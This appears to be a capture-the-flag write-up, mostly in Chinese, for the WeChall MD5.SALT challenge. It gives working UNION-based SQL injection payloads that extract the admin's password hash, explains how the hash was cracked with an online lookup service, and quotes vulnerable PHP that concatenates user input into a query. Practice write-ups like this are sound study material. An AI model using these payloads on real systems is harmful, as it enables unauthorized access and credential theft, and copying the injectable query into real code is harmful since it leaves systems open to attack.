WeChall - MD5.SALT

Challenge

Your mission is to login as Admin. The application is vulnerable to sql injection, but the signup process seems a bit "weird". 目标是以 admin 身份登录。用户名字段存在 SQL 注入漏洞。

题目给出了 users 表结构(usernamepassword 两列)。登录表单同时兼具注册功能——输入新用户名和密码即可注册。

表单字段名为 usernamecredents。密码的存储方式为 md5($password . 'salt21')——即 MD5 后接固定盐值 salt21

Solution

Step 1: 提取 admin 的密码 hash

通过 UNION 注入读取 admin 的 password 字段:

1
username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='admin' --

返回结果:

1
Hello Admin:215c61d0104f8925b5f7e4e87a7cbdfa... checking your credentials...

admin 的密码 hash 为 215c61d0104f8925b5f7e4e87a7cbdfa

Step 2: 确定 hash 算法

注册一个新用户,用 UNION 提取其 hash,与各种算法比对:

1
2
3
4
# 注册新用户 extractnqwozrfv 密码 password1
# 提取其 hash
$ username=' UNION SELECT CONCAT(username,0x3a,password),1 FROM users WHERE username='extractnqwozrfv' -- '
Hello extractnqwozrfv:bd4db6aa036b085e72f546130e5007b7

比对算法后发现:md5('password1' . 'salt21') = bd4db6aa036b085e72f546130e5007b7

Step 3: 破解 admin 的 hash

拿到 215c61d0104f8925b5f7e4e87a7cbdfa 后,需要用 MD5 反查得到明文。这里是本题最核心的一步——在线 MD5 反查服务

尝试了多个在线 hash 反查网站:

  • cmd5.com / xmd5.com — 需要付费
  • pmd5.com — 解不出
  • somd5.com — 成功解出,返回明文 academicsalt21

注意:hashcat / john 等本地工具也可以做,但对于这种简单单词 + 固定后缀的模式,用彩虹表/在线反查更快。关键在于 hash 的构造方式是 md5(明文密码 + 'salt21'),所以反查工具返回的原始输入是 密码 + salt21 整体。

Step 4: 去掉盐值得到真正密码

somd5 返回的明文是 academicsalt21。这里有个坑——直接拿这个值登录会失败。

题目的名字 MD5.SALT 是关键提示:salt 是拼接在 hash 计算过程中的,不是密码的一部分。所以:

1
md5('academic' + 'salt21') = md5('academicsalt21') = 215c61d0104f8925b5f7e4e87a7cbdfa

真正的密码是 academic,去掉末尾的 salt21

Step 5: 登录

1
2
username: admin
credents: academic

登录成功,/en/challs 中该题显示为 wc_chall_solved_1

关键的 SQL 注入点

LOGIN 功能的 SQL 查询:

1
SELECT * FROM users WHERE username='$username'

该查询结果用于获取用户名和密码 hash,然后 PHP 做密码对比:

1
2
3
4
5
6
7
$row = $db->queryFirst("SELECT * FROM users WHERE username='$username'");
if ($row) {
$input_hash = md5($password . 'salt21');
if ($row['password'] === $input_hash) {
// login success
}
}

注册功能的 INSERT 也使用了相同的 hash 算法,所以注册和登录一致。

关于 "weird signup"

挑战描述提到注册过程 "a bit weird"。检查源码发现,在注册时会校验你输入的密码是否和你真实的 WeChall 账号密码一致——如果是,会拒绝注册(err_fool:不允许在这里使用你的真实 WeChall 密码)。但这不影响解题。

academic